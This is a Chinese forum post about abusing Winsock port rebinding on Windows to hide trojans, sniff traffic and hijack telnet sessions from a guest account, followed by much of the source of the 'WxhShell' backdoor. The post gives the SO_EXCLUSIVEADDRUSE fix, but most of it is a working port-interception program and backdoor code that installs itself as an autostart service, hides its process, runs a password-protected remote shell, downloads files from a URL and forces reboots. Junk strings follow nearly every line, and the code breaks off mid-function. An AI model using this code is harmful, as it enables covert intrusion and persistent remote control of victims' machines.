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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <_XyHb-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e<F>u#d  
o2p;$W4`  
  saddr.sin_family = AF_INET; qz]b8rX  
` s [77V>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m"3gTqG  
iIrH&}2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C'5b)0km  
xF|P6GXg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 up`.#GWm  
DVNx\t  
  这意味着什么?意味着可以进行如下的攻击: 66RqjP '2  
dC&{zNG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )0F\[Jl}  
q]PeS~PjF\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X{2))t%  
r(qAe{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d3% 1 P)  
xnz(hz6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Th"0Cc)  
yxv]G6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Tz/=\_}  
dt -EY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^uZ!e+   
"`A@_;At`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .4I "[$?Q  
*hugQh ]a  
  #include *c"tW8uR  
  #include 2oL~N*^C  
  #include snU $Na3  
  #include    & QO9/!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y"eR&d  
  int main() sT&O%(  
  { UC@ &! kM  
  WORD wVersionRequested; x[%z \  
  DWORD ret; aX`@WXK  
  WSADATA wsaData; fMg3  
  BOOL val; 2VSs#z!  
  SOCKADDR_IN saddr; f9`F~6$  
  SOCKADDR_IN scaddr; !\e&7sV~Q  
  int err; \gtI4zl*J  
  SOCKET s; \TchRSe  
  SOCKET sc; >|Xy'ZR  
  int caddsize; kd0~@rPL  
  HANDLE mt; Gvo|uB#  
  DWORD tid;   <|qh5Scp  
  wVersionRequested = MAKEWORD( 2, 2 ); ;;6e t/8  
  err = WSAStartup( wVersionRequested, &wsaData ); i,k.#Vx[m  
  if ( err != 0 ) { L H>oG$a  
  printf("error!WSAStartup failed!\n"); =2sj$  
  return -1; ' pnkm0=`  
  } ]U9f4ODt  
  saddr.sin_family = AF_INET; MSef2|"P#  
   .Ioj]r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +Ndo$|XCy]  
;{@jj0h;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1w30Vj2<  
  saddr.sin_port = htons(23); Z.!tp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,ypD0Q   
  { ]m ED3#  
  printf("error!socket failed!\n"); 4JOw@/nE  
  return -1; <OYy ;s  
  } x{=@~c%eh  
  val = TRUE; DM*GvBdR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nMz~.^Q-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B Q) 1)8r  
  { |dP[_nh?  
  printf("error!setsockopt failed!\n"); -;VKtBXP</  
  return -1; [ij8h,[~]  
  } _dg2i|yP<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +a@:?=hc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *ud"?{)Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lQ t&K1m  
>pS @;t'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  vbol 70  
  { `#v(MK{9+V  
  ret=GetLastError(); EUVB>%P  
  printf("error!bind failed!\n"); d-cK`pSB  
  return -1; {9 PeBc  
  } gy%/zbZx  
  listen(s,2); M@R_t(&=   
  while(1) x37pj)i/  
  { L%3m_'6QP  
  caddsize = sizeof(scaddr); xt{f+c@P  
  //接受连接请求 X?B9Z8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NZj_7j|o9  
  if(sc!=INVALID_SOCKET) NrC (.*?m  
  { h[Hn*g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "0ITW46n  
  if(mt==NULL) HOEjLwH  
  { QvPG 6A]T  
  printf("Thread Creat Failed!\n"); OJ2O?Te8  
  break; K5oVB,z)  
  } m{~p(sQL  
  } g%Yw Dr=0t  
  CloseHandle(mt); =K#12TRf  
  } Obd};&6Q  
  closesocket(s); b[mAkm?9+1  
  WSACleanup(); SI/@Bbd=  
  return 0; zmREzP#X  
  }   O@n1E'S/  
  DWORD WINAPI ClientThread(LPVOID lpParam) ao@"j}c  
  { .H.#W1`  
  SOCKET ss = (SOCKET)lpParam; e~wuoE:M3  
  SOCKET sc; yUZ;keQ_Tw  
  unsigned char buf[4096]; kX\\t.nH  
  SOCKADDR_IN saddr; jl!rCOLt4  
  long num; @D<KG  
  DWORD val; e-}b]\  
  DWORD ret; "cK@Yo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |C MKY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wZ^ 7#yX>  
  saddr.sin_family = AF_INET; >9h@Dj[|!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  3,7SGt r  
  saddr.sin_port = htons(23); K1vm [Ne  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \P3[_kbf1  
  { `#X\@?'5  
  printf("error!socket failed!\n"); 0cd`. ZF  
  return -1; (k@%04c  
  } w]BZgF.  
  val = 100; b IS 3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h^u 9W7.  
  { m' LRP:9v  
  ret = GetLastError(); .x 1&   
  return -1; o0f{ePZ=  
  } G^Z SQ!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `ViFY   
  { 3Pb]Of#  
  ret = GetLastError(); E"EBj7<s  
  return -1; 3C=|  
  } L_3undy,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U\_-GS;1  
  { =h`yc$ A(2  
  printf("error!socket connect failed!\n"); $m.e}`7SF!  
  closesocket(sc); > xc7Hr~  
  closesocket(ss); _N.N?>  
  return -1; ]yTMWIx#  
  } >&1MD}  
  while(1) q#8$@*I  
  { H*l2,0&W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9M$=X-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z+mesj?.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5#v  
  num = recv(ss,buf,4096,0); /uTU*Oe  
  if(num>0) ]5!}S-uJq  
  send(sc,buf,num,0); %T.4Aj  
  else if(num==0) `M "O #  
  break; ?qn0].  
  num = recv(sc,buf,4096,0); hkS K;  
  if(num>0) s'&/8RR  
  send(ss,buf,num,0); kfod[*3  
  else if(num==0) R\L0   
  break; :/Zy=F9:  
  } }RGp)OFY&  
  closesocket(ss); &&N]u e@>  
  closesocket(sc); y~&R(x~w  
  return 0 ; uP'x{Pr)  
  } Ha U6`IP  
M_o<6C  
qRD]Q  
========================================================== sknta 0^=2  
L*A9a  
下边附上一个代码,,WXhSHELL {=(GY@yU/  
p8%/T>hK  
========================================================== PMDx5-{A/t  
]F,mj-?4x  
#include "stdafx.h" 07zbx6:t  
X[ERlw1q4Q  
#include <stdio.h> RhJ{#G~:%  
#include <string.h> CS:"F) at  
#include <windows.h> |@J:A!  
#include <winsock2.h> rt\i@}  
#include <winsvc.h> A4}6hG#  
#include <urlmon.h> gAy,uP~,  
K_@[%  
#pragma comment (lib, "Ws2_32.lib") KL2#Bm_  
#pragma comment (lib, "urlmon.lib") Gw"H#9J} T  
{8NnRnzU  
#define MAX_USER   100 // 最大客户端连接数 !nQ!J+ g  
#define BUF_SOCK   200 // sock buffer 1-@[th  
#define KEY_BUFF   255 // 输入 buffer 9-<EeV_/  
}Q7 ~tu  
#define REBOOT     0   // 重启 &cty&(2p  
#define SHUTDOWN   1   // 关机 -t92!O   
&_q&TEi  
#define DEF_PORT   5000 // 监听端口 'USol<  
#6])\  
#define REG_LEN     16   // 注册表键长度 R$'0<y8E*]  
#define SVC_LEN     80   // NT服务名长度 B(x$ Ln"y[  
oW:p6d  
// 从dll定义API L-7?:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )qGw!^8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e8HGST`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *\?t W]8<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eOZ0L1JM!  
MGH(= w1  
// wxhshell配置信息 _z:7Dj#  
struct WSCFG { WU:~T.Su  
  int ws_port;         // 监听端口 aP}kl[W  
  char ws_passstr[REG_LEN]; // 口令 ?GdoB7(%  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mlr\#BO"9  
  char ws_regname[REG_LEN]; // 注册表键名 fc'NU(70c  
  char ws_svcname[REG_LEN]; // 服务名 faqOGAb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nf,R+oX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7*bUy)UZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 icq!^5BzL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nLn3kMl4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b' 1%g}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oy I8}s:  
Tw:j}ERq  
}; 2}Ga   
z1LN|+\}  
// default Wxhshell configuration `lAe2l^  
struct WSCFG wscfg={DEF_PORT, |sf&t  
    "xuhuanlingzhe", c/fU0cA@  
    1, 9,7IsT8  
    "Wxhshell", ; ^waUJ\Z  
    "Wxhshell", 3)jFv7LAU  
            "WxhShell Service", ;pK/t=$  
    "Wrsky Windows CmdShell Service", #KC& ct  
    "Please Input Your Password: ", MP5 vc5[  
  1, -;/;dz;  
  "http://www.wrsky.com/wxhshell.exe", L: hEt  
  "Wxhshell.exe" w +QXSa_D  
    }; i:9f#  
fi5x0El  
// 消息定义模块 Z=VAjJ;i[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OhC%5=a7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]L/h,bVI1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "MH_hzbBF  
char *msg_ws_ext="\n\rExit."; H Aq  
char *msg_ws_end="\n\rQuit."; q*`1<9{H  
char *msg_ws_boot="\n\rReboot..."; 7(RtPL pZ  
char *msg_ws_poff="\n\rShutdown..."; `Sh#> Jp  
char *msg_ws_down="\n\rSave to "; ElJM. a  
11%<bmJ]Q3  
char *msg_ws_err="\n\rErr!"; g_<^kg"  
char *msg_ws_ok="\n\rOK!"; vM_UF{a$=  
Y?cdm}:Ou  
char ExeFile[MAX_PATH]; eko$c,&jY  
int nUser = 0; V)[ta`9  
HANDLE handles[MAX_USER];  V6opV&  
int OsIsNt; nVkPYeeT  
}m!L2iK4qk  
SERVICE_STATUS       serviceStatus; 3v~804kWB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JmHEYPt0  
+n]z'pijb  
// 函数声明 nE_g^  
int Install(void); Ce: 2Tw  
int Uninstall(void); U^ bF}4m  
int DownloadFile(char *sURL, SOCKET wsh); %Vf3r9 z  
int Boot(int flag); @'go?E)f  
void HideProc(void); 99GzhX_  
int GetOsVer(void); zcF`Z {&+  
int Wxhshell(SOCKET wsl); 6[r-8_  
void TalkWithClient(void *cs); (o+(YV^  
int CmdShell(SOCKET sock); Q-scL>IkCb  
int StartFromService(void); |?zFm mh  
int StartWxhshell(LPSTR lpCmdLine); tOQ2947zk  
dMo456L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R#D>m8&}3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CC?L~/gPN  
)Sz2D[@n  
// 数据结构和表定义 ${(c `X  
SERVICE_TABLE_ENTRY DispatchTable[] = k!9LJ%Xh  
{ }n!$)W*?  
{wscfg.ws_svcname, NTServiceMain}, +M@,CbqD  
{NULL, NULL} "pQFIV,  
}; ]yc&ffe%  
|=R@nn   
// 自我安装 teRK#: .P  
int Install(void) O+8]y4%5  
{ Wq5Nc  
  char svExeFile[MAX_PATH]; @xKfqKoqg  
  HKEY key; ]+C;C  
  strcpy(svExeFile,ExeFile); '/2u^&W  
^0 zWiX  
// 如果是win9x系统,修改注册表设为自启动 ,C4gA(')K  
if(!OsIsNt) { |wef[|@%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |f9fq~'1e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2P&KU%D)0s  
  RegCloseKey(key); J|$(O$hYy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2[^p6s[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : `Nh}Ka0  
  RegCloseKey(key); 3&39M&  
  return 0; l1<]pdLTR  
    } dm;C @.ML  
  } @m#1[n;  
} BWtGeaW/sr  
else { %Z:07|57I[  
S,Y\ox-  
// 如果是NT以上系统,安装为系统服务 ,CGq_>Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \J]qd4tF  
if (schSCManager!=0) }"QV{W  
{ EbG`q!C  
  SC_HANDLE schService = CreateService G@Jl4iHug"  
  ( %jS#DVxBR  
  schSCManager, S,I|8 YE  
  wscfg.ws_svcname, #YABb wH  
  wscfg.ws_svcdisp, u~JCMM$  
  SERVICE_ALL_ACCESS, hxt,%al  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =Gl6~lJ{_  
  SERVICE_AUTO_START, UKfC!YR2J8  
  SERVICE_ERROR_NORMAL, dV~d60jOF  
  svExeFile, y{Fq'w!ap  
  NULL, d9@Pze">e  
  NULL, <1^\,cI2  
  NULL, qD#E, "%  
  NULL, DK\Ud6w  
  NULL Mk:k0,z  
  ); ^@"H(1Hxu/  
  if (schService!=0) APne!  
  { D@-'<0=  
  CloseServiceHandle(schService); \J)ffEKIp  
  CloseServiceHandle(schSCManager); A2C|YmHk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }DCR(p rD  
  strcat(svExeFile,wscfg.ws_svcname); $e99[y@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '4T]=s~N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V~9vf*X  
  RegCloseKey(key); QTy xx  
  return 0; /o/0 9K  
    } <'Ppu  
  } :J 7p=sX  
  CloseServiceHandle(schSCManager); ?PpGBm2f*  
} <Z0N)0|  
} $qvk9 B0E  
=|Q7k+b  
return 1; F:3*i^ L  
} RV%aFI )  
:!fP~(R'm  
// 自我卸载 49e~/YY  
int Uninstall(void) _0razNk  
{ r[u@ [  
  HKEY key; Nt>wzPd)  
E~b Yk6  
if(!OsIsNt) { 2r 0u[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bD: yu  
  RegDeleteValue(key,wscfg.ws_regname); rM{3]v{~  
  RegCloseKey(key); ptA-rX.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^GS,4[)H  
  RegDeleteValue(key,wscfg.ws_regname); Boi?Bt  
  RegCloseKey(key); {}Q A#:V  
  return 0; u'm[wjCj c  
  } *[@k=!73  
} Pc{0Js5VzE  
} Q?1' JF!G  
else { S4'\=w #  
|Z"5zL10  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r@|{mQOxa  
if (schSCManager!=0) r )pg9}+  
{ w^rINPAS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N:_U2[V^d  
  if (schService!=0) MDyPwv\  
  { 4mqA*c%6S  
  if(DeleteService(schService)!=0) { 7aV(tMzd  
  CloseServiceHandle(schService); 9rd7l6$R"  
  CloseServiceHandle(schSCManager); D>HX1LV  
  return 0; qi ;X_\v  
  } vvsQf%  
  CloseServiceHandle(schService); a4B#?p  
  } L,KK{o|Eq  
  CloseServiceHandle(schSCManager); =9LeFrz  
} & rsNB:!  
} 8/tvS8I#y  
_NkVi_UX  
return 1; 9=-d/y?  
} 2X= pu. ;F  
O<:"Irq\qr  
// 从指定url下载文件 [|:kS  
int DownloadFile(char *sURL, SOCKET wsh) *j`{ K  
{ @~Uu]1  
  HRESULT hr; XSw!_d  
char seps[]= "/"; X AnN<  
char *token; #RyX}t X,  
char *file; gGtl*9a=  
char myURL[MAX_PATH]; cyQ&w>'  
char myFILE[MAX_PATH]; (F wWyt  
2a\?Q|1C  
strcpy(myURL,sURL); (,i&pgVZ  
  token=strtok(myURL,seps); Ki8]+W37  
  while(token!=NULL) 03{pxI  
  { O%Mi`\W@  
    file=token; (|*CVI;  
  token=strtok(NULL,seps); 7I_1Lnnf  
  } q@"0(Oj  
IKm_YQ$XOy  
GetCurrentDirectory(MAX_PATH,myFILE); "IvFkS=*Q  
strcat(myFILE, "\\"); p>O>^R  
strcat(myFILE, file); | M|5Nc>W  
  send(wsh,myFILE,strlen(myFILE),0); AJ:(NV1=  
send(wsh,"...",3,0); 1pM"j!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {hE\ECT-  
  if(hr==S_OK) =/|2f; Q  
return 0; h VQj$TA  
else \?|FB~.Ry  
return 1; E\X:VQ9  
1&wI*4  
} ) vKZs:  
Q;'{~!=  
// 系统电源模块 l1EI4Y9KG  
int Boot(int flag) +ROwk  
{ YyF=u~l  
  HANDLE hToken; `u *:wJsv  
  TOKEN_PRIVILEGES tkp; TsvF~Gdp  
(;Ad:!9{  
  if(OsIsNt) { )6k([u%;B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <6djdr1:b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5V{> 82  
    tkp.PrivilegeCount = 1; $z"1&y)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gXQ s)Eyv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ??7c9l5,  
if(flag==REBOOT) { 8vuA`T!~G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j~ 'a %P  
  return 0; qkg`4'rLg  
} 1 po.Cmx  
else { t}!Y}D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {zri6P+s  
  return 0; pI>[^7  
} ?Tr]zxtd  
  } .}O _5b(  
  else { BwpSw\\?@  
if(flag==REBOOT) { -VO&#Mt5u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?_VoO  
  return 0; 4$wn8!x2|  
} 3O'6 Ae  
else { )Gu:eYp+`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $&C~Qti|G  
  return 0; L2L=~/LG  
} _!} L\E~  
} !97k  
TrEo5H;  
return 1; uE]kv  
} t@Bl3Nt{  
ZliJc7lss  
// win9x进程隐藏模块 `L=d72:  
void HideProc(void) [@PD[-2QG3  
{ >,&@j,?']  
o-f;$]yp>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ==?!z<I.d  
  if ( hKernel != NULL ) |BC/ERms  
  { ^qro0]"LD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L2j7w006  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >p[skN   
    FreeLibrary(hKernel); lO>9Q]S<  
  } -fA1_ ?7S  
DMcH, _(  
return; k-zkb2  
} q9^6A90  
JJ+A+sfdk  
// 获取操作系统版本 y;r{0lTB  
int GetOsVer(void) `> :^c  
{ Vp.&X 8  
  OSVERSIONINFO winfo; !UV1OU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I\,m6 =q  
  GetVersionEx(&winfo); H E'1Wa0r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?uBZ"^'  
  return 1; zBKfaQI,  
  else ?##3E, /"9  
  return 0; ?c;T4@mB  
} ~hk;OB;  
E;vF :?|  
// 客户端句柄模块 G""L1?  
int Wxhshell(SOCKET wsl) +pefk+  
{ Bc!ZHW *&  
  SOCKET wsh; ; { MK  
  struct sockaddr_in client; WA$Ug  
  DWORD myID; TB@0j ;g  
{+SshT>J  
  while(nUser<MAX_USER) VxKD>:3c  
{ l[P VWM  
  int nSize=sizeof(client); I/HcIBJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jMP!/t :w  
  if(wsh==INVALID_SOCKET) return 1; uYu/0fQD  
!SxZN dv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [l7 G9T}/[  
if(handles[nUser]==0) 0?0$6F  
  closesocket(wsh); .GM}3(1fX`  
else _x&fK$Y)B  
  nUser++; :1 Y*&s  
  } nz}} m^-j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bFv,.(h'  
p3L0'rY|+  
  return 0; ;G=:>m~  
} )}[:.Zg,3/  
ET1>&l:.  
// 关闭 socket ui[E,W~  
void CloseIt(SOCKET wsh) ' thEZ  
{ "8%z,lHw  
closesocket(wsh); @8;0p  
nUser--; Ug1[pONk  
ExitThread(0); \(.])I>)eh  
} @8jc|X<A  
2=[deQs  
// 客户端请求句柄 D#pZN,'  
void TalkWithClient(void *cs) 5e|2b] f$  
{ u[>hs \3k  
]-D&/88``  
  SOCKET wsh=(SOCKET)cs; 5YW.s   
  char pwd[SVC_LEN]; YO3$I!(  
  char cmd[KEY_BUFF]; P\3$Y-id  
char chr[1]; 9_07?`Jr  
int i,j; CB1AL]|3  
L( B(x>w  
  while (nUser < MAX_USER) { 33*NgQ;&~'  
$h()% C7s  
if(wscfg.ws_passstr) { p^(gXzW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z`9yGaTO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l|Z<pD  
  //ZeroMemory(pwd,KEY_BUFF); yOQEF\  
      i=0; \dG#hH4ZD  
  while(i<SVC_LEN) { M.loG4r!  
>JWW2<  
  // 设置超时 UojHlTg#bT  
  fd_set FdRead; f5droys9  
  struct timeval TimeOut; Og8'K=O#  
  FD_ZERO(&FdRead); |fd}B5!c  
  FD_SET(wsh,&FdRead); GY[+HgT  
  TimeOut.tv_sec=8; Z ^w5x:  
  TimeOut.tv_usec=0; xwm-)~L4T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HfN:oww  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fK'qc L  
2 ~zo)G0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gEBwn2  
  pwd=chr[0]; j. m(Z}  
  if(chr[0]==0xd || chr[0]==0xa) { NyTGvBf  
  pwd=0; x|6# /m  
  break; MUs~ZF  
  } jcuC2t  
  i++; ~:|qdv%\  
    } u>cU*E4/  
^9ZW }AAO  
  // 如果是非法用户,关闭 socket _]Ei,Ua  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |iJ+e -_R  
} potb6jc?  
5ZPe=SQ{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;44?`[oP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (_Ld^ ^|  
S[_Hc$7U  
while(1) { 'B$ bGQ  
vcsMU|GGh  
  ZeroMemory(cmd,KEY_BUFF); @6~OQN  
T 5jZd@VT,  
      // 自动支持客户端 telnet标准   +EnJyli  
  j=0; ,XZ[L? >  
  while(j<KEY_BUFF) { BUozpqN}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~H0WHqcy  
  cmd[j]=chr[0]; #f 4"  
  if(chr[0]==0xa || chr[0]==0xd) { k/|j e~$  
  cmd[j]=0; 3cp"UU}.  
  break; j1LL[+G-"_  
  } -c1$>+  
  j++; KT5"/fv  
    } ?_NhR   
OcBn1k.  
  // 下载文件 r$7D;>*O{  
  if(strstr(cmd,"http://")) { ?D^l&`S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =}G `i**  
  if(DownloadFile(cmd,wsh)) X[XSf=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6}vPwI  
  else vT7ei"~&u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I2b\[d  
  } e?&4;  
  else { 9%VNzPzf  
kp+\3z_  
    switch(cmd[0]) { D-zqu~f`  
  otsINAizgS  
  // 帮助 4eOQP  
  case '?': { k?Bc^7l:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dyx3N5?C  
    break; ON$^_l/c  
  } &f\ng{  
  // 安装 Q\>Kd N{  
  case 'i': { p:,(r{*?  
    if(Install()) ">? y\#O A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FDHa|<oz  
    else Tk'YpL#U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "ct_EPr`  
    break; 415 95x:  
    } FL 5tIfV+  
  // 卸载 Ve4!MM@ti  
  case 'r': { LZ@4,Uj  
    if(Uninstall()) SGU~LW&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pGy]t  
    else }v[$uT-q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (> v1)*r  
    break; 8: KlU(J  
    } V0]6F  
  // 显示 wxhshell 所在路径 y`~[R7E  
  case 'p': { ((U-JeFW   
    char svExeFile[MAX_PATH]; S> f8j?n  
    strcpy(svExeFile,"\n\r"); sQT0y(FW  
      strcat(svExeFile,ExeFile); T1@]:`&  
        send(wsh,svExeFile,strlen(svExeFile),0); Y dgaZJs  
    break; o <lS90J  
    } k++Os'hSEY  
  // 重启 (wNL,<%~  
  case 'b': { N[~"X**x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ACg5"  
    if(Boot(REBOOT)) T[iwP~l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |zV-a2K%J  
    else { 3 *o l  
    closesocket(wsh); f1'NWec  
    ExitThread(0); 'w+T vOB  
    } RhG9Xw9  
    break; o3hsPzOQx  
    } B6gSt3w.  
  // 关机 +G3&{#D ?  
  case 'd': { 1RtbQ{2F;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a& Ti44a[  
